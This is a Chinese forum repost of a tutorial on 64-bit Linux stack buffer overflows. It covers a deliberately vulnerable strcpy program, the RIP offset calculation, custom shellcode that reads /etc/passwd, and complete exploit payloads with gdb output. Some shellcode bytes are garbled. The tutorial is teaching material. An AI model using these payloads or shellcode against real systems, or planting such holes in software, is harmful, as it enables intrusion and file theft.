阅读:3462回复:0
64位Linux下的栈溢出
from:http://packetstormsecurity.com/files/download/127007/64bit-overflow.pdf
本文的目的是让大家学到64位缓冲区溢出的基础知识。 作者Mr.Un1k0d3r RingZer0 Team 摘要 ◆1 x86和x86_64的区别 ◆2 漏洞代码片段 ◆3 触发溢出 ◆4 控制RIP ◆5 跳入用户控制的缓冲区 ◆6 执行shellcode ◆7 GDB vs 现实 ◆8 结语 ◆1 x86和x86_64的区别 第一个主要区别就是内存地址的大小。这没啥可惊奇的: 不过即便内存地址有64位长用户空间也只能使用前47位要牢记这点因为当你指定一个大于◆0007fffffffffff的地址时会抛出一个异常。那也就意味着0x4141414141414141会抛出异常而◆000414141414141是安全的。当你在进行模糊测试或编写利用程序的时候我觉得这是个很巧妙的部分。 事实上还有很多其他的不同但是考虑到本文的目的不了解所有的差异也没关系。 ◆2 漏洞代码片段 #!cpp int main(int argc, char **argv) { char buffer[256]; if(argc != 2) { exit(0); } printf("%pn", buffer); strcpy(buffer, argv[1]); printf("%sn", buffer); return 0; } 为了节省漏洞利用的时间我决定打印缓冲区指针地址。 你可以用gcc编译上述代码。 #!bash $ gcc -m64 bof.c -o bof -z execstack -fno-stack-protector 这样就一切妥当了。 ◆3 触发溢出 首先我们来确认一下确实可以让这个进程崩溃。 #!cpp $ ./bof $(python -c 'print "A" * 300') 0x7fffffffdcd0 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA Segmentation fault (core dumped) 好来确认一下我们控制的RIP指令指针 图片:2014091812470142898.jpg 你可以通过stepi单步执行来过一遍程序流程译者应该用ni比较合适。 当过了strcpy调用(0x40066c)之后你会发现当前缓冲区指针指向0x7fffffffdc90而不是0x7fffffffdcd0这是gdb的环境变量和其他东西造成的。不过现在我们不关心之后会解决的。 重要的说明* 在之后的内容中当我提到leave指令时就是指的上面的地址0x400685。 最后这是strcpy过后的栈 #!bash (gdb) x/20xg $rsp 0x7fffffffdc80: ◆0007fffffffde78 ◆0000002f7ffe520 0x7fffffffdc90: 0x4141414141414141 0x4141414141414141 0x7fffffffdca0: 0x4141414141414141 0x4141414141414141 0x7fffffffdcb0: 0x4141414141414141 0x4141414141414141 0x7fffffffdcc0: 0x4141414141414141 0x4141414141414141 0x7fffffffdcd0: 0x4141414141414141 0x4141414141414141 0x7fffffffdce0: 0x4141414141414141 0x4141414141414141 0x7fffffffdcf0: 0x4141414141414141 0x4141414141414141 0x7fffffffdd00: 0x4141414141414141 0x4141414141414141 0x7fffffffdd10: 0x4141414141414141 0x4141414141414141 接着主函数(main)中的leave指令把rsp指向0x7fffffffdd98。 栈就变成了这样子 #!bash (gdb) x/20xg $rsp 0x7fffffffdd98: 0x4141414141414141 0x4141414141414141 0x7fffffffdda8: 0x4141414141414141 0x4141414141414141 0x7fffffffddb8: ◆000000041414141 ◆000000000000000 0x7fffffffddc8: 0xa1c4af9213d095db ◆000000000400520 0x7fffffffddd8: ◆0007fffffffde70 ◆000000000000000 0x7fffffffdde8: ◆000000000000000 0x5e3b506da89095db 0x7fffffffddf8: 0x5e3b40d4af2a95db ◆000000000000000 0x7fffffffde08: ◆000000000000000 ◆000000000000000 0x7fffffffde18: ◆000000000400690 ◆0007fffffffde78 0x7fffffffde28: ◆000000000000002 ◆000000000000000 (gdb) stepi Program received signal SIGSEGV, Segmentation fault. 好极了我们有SIGSEGV的时机去查看当前寄存器的值。 #!bash (gdb) i r rax ◆ 0 rbx ◆ 0 rcx 0xffffffffffffffff -1 rdx 0x7ffff7dd59e0 140737351866848 rsi 0x7ffff7ff7000 140737354100736 rdi 0x1 1 rbp 0x4141414141414141 0x4141414141414141 rsp 0x7fffffffdd98 0x7fffffffdd98 r8 0x4141414141414141 4702111234474983745 r9 0x4141414141414141 4702111234474983745 r10 0x4141414141414141 4702111234474983745 r11 0x246 582 r12 0x400520 4195616 r13 0x7fffffffde70 140737488346736 r14 ◆ 0 r15 ◆ 0 rip 0x400686 0x400686 eflags 0x10246 [ PF ZF IF RF ] cs 0x33 51 ss 0x2b 43 ds ◆ 0 es ◆ 0 fs ◆ 0 gs ◆ 0 (gdb) stepi Program terminated with signal SIGSEGV, Segmentation fault. The program no longer exists. 好了程序就这样结束了我们没能控制RIP为什么因为我们覆盖了太多位记得最大的地址是◆0007fffffffffff吧而我们尝试用0x4141414141414141去溢出了。 ◆4 控制RIP 我们发现了个小问题不过只要是问题总有办法解决的我们可以用个小一点的缓冲区去溢出这样指向rsp的地址就会像◆000414141414141一样了。 通过简单的数学运算就可以很轻松地算出我们缓冲区的大小。我们知道缓冲区开始于0x7fffffffdc90。Leave指令之后rsp将指向0x7fffffffdd98。 0x7fffffffdd98 - 0x7fffffffdc90 = 0x108 -> 十进制的264 知道了这些我们可以把溢出载荷修改成这样 "A" * 264 + "B" * 6 rsp指向的地址应该像◆000424242424242一样正常了。那样就能控制RIP。 #!bash $ gdb -tui bof (gdb) set disassembly-flavor intel (gdb) layout asm (gdb) layout regs (gdb) break main (gdb) run $(python -c 'print "A" * 264 + "B" * 6') 这次我们直接看调用leave指令后的状况。 这是leave指令执行后的栈 #!bash (gdb) x/20xg $rsp 0x7fffffffddb8: ◆000424242424242 ◆000000000000000 0x7fffffffddc8: ◆0007fffffffde98 ◆000000200000000 0x7fffffffddd8: ◆00000000040060d ◆000000000000000 0x7fffffffdde8: 0x2a283aca5f708a47 ◆000000000400520 0x7fffffffddf8: ◆0007fffffffde90 ◆000000000000000 0x7fffffffde08: ◆000000000000000 0xd5d7c535e4f08a47 0x7fffffffde18: 0xd5d7d58ce38a8a47 ◆000000000000000 0x7fffffffde28: ◆000000000000000 ◆000000000000000 0x7fffffffde38: ◆000000000400690 ◆0007fffffffde98 0x7fffffffde48: ◆000000000000002 ◆000000000000000 这是leave指令执行后寄存器的值 #!bash (gdb) i r rax ◆ 0 rbx ◆ 0 rcx 0xffffffffffffffff -1 rdx 0x7ffff7dd59e0 140737351866848 rsi 0x7ffff7ff7000 140737354100736 rdi 0x1 1 rbp 0x4141414141414141 0x4141414141414141 rsp 0x7fffffffddb8 0x7fffffffddb8 r8 0x4141414141414141 4702111234474983745 r9 0x4141414141414141 4702111234474983745 r10 0x4141414141414141 4702111234474983745 r11 0x246 r12 0x400520 4195616 r13 0x7fffffffde90 140737488346768 r14 ◆ 0 r15 ◆ 0 rip 0x400686 0x400686 eflags 0x246 [ PF ZF IF ] cs 0x33 51 ss 0x2b 43 ds ◆ 0 es ◆ 0 fs ◆ 0 gs ◆ 0 rsp指向0x7fffffffddb8而0x7fffffffddb8的内容就是◆000424242424242。看来一切正常是时候执行ret指令了。 #!bash (gdb) stepi Cannot access memory at address 0x424242424242 Cannot access memory at address 0x424242424242 (gdb) i r rax ◆ 0 rbx ◆ 0 rcx 0xffffffffffffffff -1 rdx 0x7ffff7dd59e0 140737351866848 rsi 0x7ffff7ff7000 140737354100736 rdi 0x1 1 rbp 0x4141414141414141 0x4141414141414141 rsp 0x7fffffffddc0 0x7fffffffddc0 r8 0x4141414141414141 4702111234474983745 r9 0x4141414141414141 4702111234474983745 r10 0x4141414141414141 4702111234474983745 r11 0x246 582 r12 0x400520 4195616 r13 0x7fffffffde90 140737488346768 r14 ◆ 0 r15 ◆ 0 rip 0x424242424242 0x424242424242 eflags 0x246 [ PF ZF IF ] cs 0x33 51 ss 0x2b 43 ds ◆ 0 es ◆ 0 fs ◆ 0 gs ◆ 0 我们最终控制了rip ◆5 跳入用户控制的缓冲区 事实上这部分内容没什么特别的或者新的东西你只需要指向你控制的缓冲区开头。也就是第一个printf显示出来的值在这里是0x7fffffffdc90。通过gdb也可以很容易地重新获得这个值你只需在调用strcpy之后显示栈。 #!bash (gdb) x/4xg $rsp 0x7fffffffdc80: ◆0007fffffffde98 ◆0000002f7ffe520 0x7fffffffdc90: 0x4141414141414141 0x4141414141414141 是时候更新我们的载荷了。新的载荷看起来像这样 "A" * 264 + "x7fxffxffxffxdcx90"[::-1] 因为是小端结构所以我们需要把内存地址反序。这就是python语句[::-1]所实现的。 确认下我们跳入正确的地址。 #!bash $ gdb -tui bof (gdb) set disassembly-flavor intel (gdb) layout asm (gdb) layout regs (gdb) break main (gdb) run $(python -c 'print "A" * 264 + "x7fxffxffxffxdcx90"[::-1]') (gdb) x/20xg $rsp 0x7fffffffddb8: ◆0007fffffffdc90 ◆000000000000000 0x7fffffffddc8: ◆0007fffffffde98 ◆000000200000000 0x7fffffffddd8: ◆00000000040060d ◆000000000000000 0x7fffffffdde8: 0xe72f39cd325155ac ◆000000000400520 0x7fffffffddf8: ◆0007fffffffde90 ◆000000000000000 0x7fffffffde08: ◆000000000000000 0x18d0c63289d155ac 0x7fffffffde18: 0x18d0d68b8eab55ac ◆000000000000000 0x7fffffffde28: ◆000000000000000 ◆000000000000000 0x7fffffffde38: ◆000000000400690 ◆0007fffffffde98 0x7fffffffde48: ◆000000000000002 ◆000000000000000 这是执行leave指令后的栈。如我们所知rsp指向0x7fffffffddb8。0x7fffffffddb8的内容是◆0007fffffffdc90。最后◆0007fffffffdc90指向我们控制的缓冲区。 (gdb) stepi ret指令执行后rip指向0x7fffffffdc90这意味着我们跳入了正确的位置。 ◆6 执行shellcode 在这个例子中我准备用个定制的shellcode去读/etc/passwd的内容。 #!bash BITS 64 ; Author Mr.Un1k0d3r - RingZer0 Team ; Read /etc/passwd Linux x86_64 Shellcode ; Shellcode size 82 bytes global _start section .text _start: jmp _push_filename _readfile: ; syscall open file pop rdi ; pop path value ; NULL byte fix xor byte [rdi + 11], 0x41 xor rax, rax add al, 2 xor rsi, rsi ; set O_RDONLY flag syscall ; syscall read file sub sp, 0xfff lea rsi, [rsp] mov rdi, rax xor rdx, rdx mov dx, 0xfff ; size to read xor rax, rax syscall ; syscall write to stdout xor rdi, rdi add dil, 1 ; set stdout fd = 1 mov rdx, rax xor rax, rax add al, 1 syscall ; syscall exit xor rax, rax add al, 60 syscall _push_filename: call _readfile path: db "/etc/passwdA" 接下来汇编这个文件然后提取shellcode。 #!bash $ nasm -f elf64 readfile.asm -o readfile.o $ for i in $(objdump -d readfile.o | grep "^ " | cut -f2); do echo -n 'x'$i; done; echo xebx3fx5fx80x77x0bx41x48x31xc◆4x02x48x31xf6x0fx05x6 6x81xecxffx0fx48x8dx34x24x48x89xc7x48x31xd2x66xbaxffx 0fx48x31xc◆fx05x48x31xffx40x80xc7x01x48x89xc2x48x31 xc◆4x01x0fx05x48x31xc◆4x3cx0fx05xe8xbcxffxffxffx2f x65x74x63x2fx70x61x73x73x77x64x41 这个shellcode长82字节。来构造最终的载荷吧。 原来的载荷 #!bash $(python -c 'print "A" * 264 + "x7fxffxffxffxdcx90"[::-1]') 我们要保证一样的大小所以264 - 82 = 182 #!bash $(python -c 'print "A" * 182 + "x7fxffxffxffxdcx90"[::-1]') 然后把shellcode接在开头 #!bash $(python -c 'print "xebx3fx5fx80x77x0bx41x48x31xc◆4x02x48x31xf6x0fx05x 66x81xecxffx0fx48x8dx34x24x48x89xc7x48x31xd2x66xbaxff x0fx48x31xc◆fx05x48x31xffx40x80xc7x01x48x89xc2x48x31 xc◆4x01x0fx05x48x31xc◆4x3cx0fx05xe8xbcxffxffxffx2 fx65x74x63x2fx70x61x73x73x77x64x41" + "A" * 182 + "x7fxffxffxffxdcx90"[::-1]') 来把所有东西一块儿测试 #!bash $ gdb –tui bof (gdb) run $(python -c 'print "xebx3fx5fx80x77x0bx41x48x31xc◆4x02x48x31xf6x0fx05x 66x81xecxffx0fx48x8dx34x24x48x89xc7x48x31xd2x66xbaxff x0fx48x31xc◆fx05x48x31xffx40x80xc7x01x48x89xc2x48x31 xc◆4x01x0fx05x48x31xc◆4x3cx0fx05xe8xbcxffxffxffx2 fx65x74x63x2fx70x61x73x73x77x64x41" + "A" * 182 + "x7fxffxffxffxdcx90"[::-1]') 如果一切正常你就会看到/etc/passwd的内容。要注意内存地址是可以变化的这样可能就和我这里的不同了。 ◆7 GDB vs 现实 因为gdb会初始化一些变量和其他的东西所以如果你试着在gdb之外使用同样的利用脚本就会失败。不过在这个例子中我加了个对printf的调用来输出缓冲区指针。这样我们就可以很容易地找到正确的值并且在真实的环境中获得地址。 这是使用我们在gdb中找到的值的真实版本 #!bash $ ./bof $(python -c 'print "xebx3fx5fx80x77x0bx41x48x31 xc◆4x02x48x31xf6x0fx05x66x81xecxffx0fx48x8dx34 x24x48x89xc7x48x31xd2x66xbaxffx0fx48x31xc◆fx05 x48x31xffx40x80xc7x01x48x89xc2x48x31xc◆4x01x0f x05x48x31xc◆4x3cx0fx05xe8xbcxffxffxffx2fx65x74 x63x2fx70x61x73x73x77x64x41" + "A" * 182 + "x7fxffxffxffxdcx90"[::-1]') 0x7fffffffdcf0 ?_w AH1H1fH4$HH1fH1H1@HH1H1< /etc/passwdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA• Illegal instruction (core dumped) 很显然利用不成功。因为地址已经从0x7fffffffdc90变成了0x7fffffffdcf0。幸好有这点printf的输出我们只需用正确的值调整一下载荷。 #!bash $ ./bof $(python -c 'print "xebx3fx5fx80x77x0bx41x48x31 xc◆4x02x48x31xf6x0fx05x66x81xecxffx0fx48x8dx34 x24x48x89xc7x48x31xd2x66xbaxffx0fx48x31xc◆fx05 x48x31xffx40x80xc7x01x48x89xc2x48x31xc◆4x01x0f x05x48x31xc◆4x3cx0fx05xe8xbcxffxffxffx2fx65x74 x63x2fx70x61x73x73x77x64x41" + "A" * 182 + "x7fxffxffxffxdcxf0"[::-1]') 0x7fffffffdcf0 ?_w AH1H1fH4$HH1fH1H1@HH1H1< /etc/passwdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAA• root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin 换成正确的值之后利用一切正常。 ◆8 结语 希望你们能喜欢这篇关于Linux下x86_64缓冲区溢出的文章,有很多关于x86溢出的文章了,但64位的溢出比较少见。 祝你们拿到好多好多shell! 感谢 |
|